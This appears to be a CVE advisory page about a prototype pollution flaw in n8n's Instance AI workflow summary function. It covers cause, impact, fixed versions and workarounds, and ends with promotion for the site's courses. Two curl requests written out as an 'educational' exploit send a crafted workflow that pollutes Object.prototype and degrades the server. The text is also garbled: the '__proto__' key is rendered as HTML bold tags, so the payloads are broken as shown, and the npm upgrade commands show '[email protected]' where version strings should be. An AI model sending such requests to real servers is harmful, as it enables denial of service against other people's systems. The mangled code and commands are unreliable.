Listen to this Post
CVE-2026-86078 is a prototype pollution vulnerability in n8n, an open source workflow automation platform. The flaw resides in the Instance AI workflow summary feature, specifically within the `summarizeWorkflowStructure` function located at packages/@n8n/instance-ai/src/tools/workflows/summarize-workflow.ts. The function builds a a workflow’s structure using get-or-create-then-nested-write idioms, where the keys are node names and connection keys taken directly from the stored workflow definition. These keys are arbitrary strings supplied by the user. The restricted-name guard that n8n displays in the editor is entirely client-side, meaning it can be trivially bypassed by posting a workflow directly to the REST API. When an attacker submits a workflow containing a reserved key such as `__proto__` or constructor, the application treats it as a legitimate property assignment rather than a literal string. Because JavaScript objects inherit from a prototype chain, the nested write propagates up that chain until it reaches `Object.prototype` in the main n8n process. This pollutes the global base object for every subsequent request handled by the same process. The pollution persists for the lifetime of the server process unless it is restarted, allowing a single malicious request to degrade the behavior of all later operations. The primary impact is denial of service, as corrupted state variables and logic gates that rely on standard object properties can cause the application to malfunction. In some scenarios, depending on how other parts of the application interact with the polluted objects, remote code execution may become possible if certain prototype methods are overwritten with malicious functions. The vulnerability is classified as CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes). The attack vector is network-based and requires low privileges, meaning an authenticated user with permission to submit workflows through the REST API can exploit it. The patch replaces the raw object accumulators with null-prototype accumulators and adds validation on the keys that are accepted, preventing reserved names from ever reaching the prototype chain. This issue has been fixed in n8n versions 2.37.7 and 2.38.2.
DailyCVE Form:
Platform: n8n
Version: < 2.37.7, < 2.38.2
Vulnerability: Prototype Pollution
Severity: Medium
date: 2026-09-08
Prediction: 2026-09-08
What Undercode Say:
curl -X POST https://target-instance/api/v1/workflows \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{
"name": "pollution-test",
"nodes": [
{
"name": "<strong>proto</strong>",
"type": "n8n-nodes-base.noOp",
"parameters": {},
"position": [0, 0]
}
],
"connections": {
"<strong>proto</strong>": {
"main": [
[
{
"node": "<strong>proto</strong>",
"type": "main",
"index": 0
}
]
]
}
}
}'
// Vulnerable pattern in summarizeWorkflowStructure
function summarizeWorkflowStructure(workflow) {
const summary = {}; // plain object inherits from Object.prototype
for (const node of workflow.nodes) {
// node.name is an arbitrary string from the REST API
if (!summary[node.name]) {
summary[node.name] = { connections: [] };
}
// nested write: if node.name is "<strong>proto</strong>", this reaches Object.prototype
summary[node.name].connections.push(...);
}
return summary;
}
Exploit: (Educational Purposes!)
Step 1: Authenticate and obtain a bearer token
Step 2: Submit a workflow with <strong>proto</strong> as a node name and connection key
curl -X POST https://vulnerable-n8n.example.com/api/v1/workflows \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "exploit",
"nodes": [{"name": "<strong>proto</strong>", "type": "n8n-nodes-base.noOp", "parameters": {}, "position": [0,0]}],
"connections": {"<strong>proto</strong>": {"main": [[{"node": "<strong>proto</strong>", "type": "main", "index": 0}]]}}
}'
Step 3: The pollution is now active in the main process
Subsequent requests may fail or behave unpredictably due to corrupted prototype properties
Protection: from this CVE
Upgrade to n8n 2.37.7 or 2.38.2 (or later) npm install -g [email protected] or npm install -g [email protected] Temporary workaround: restrict access to the REST API Only allow fully trusted users to submit workflows Temporary workaround: remove or leave unconfigured the Instance AI model environment variables unset N8N_INSTANCE_AI_MODEL If an attack is suspected, restart the n8n process to clear in-memory prototype pollution systemctl restart n8n
Impact:
- Denial of Service: Pollution of `Object.prototype` corrupts internal state variables and logic gates, causing subsequent requests to fail or behave unpredictably.
- Persistence: The pollution remains active for the lifetime of the main n8n process until it is restarted, affecting every later request.
- Potential Remote Code Execution: Depending on how other application components interact with polluted objects, overwriting prototype methods with malicious functions could lead to remote code execution.
- Scope: All users and workflows handled by the affected n8n instance are impacted, as the pollution is process-wide.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
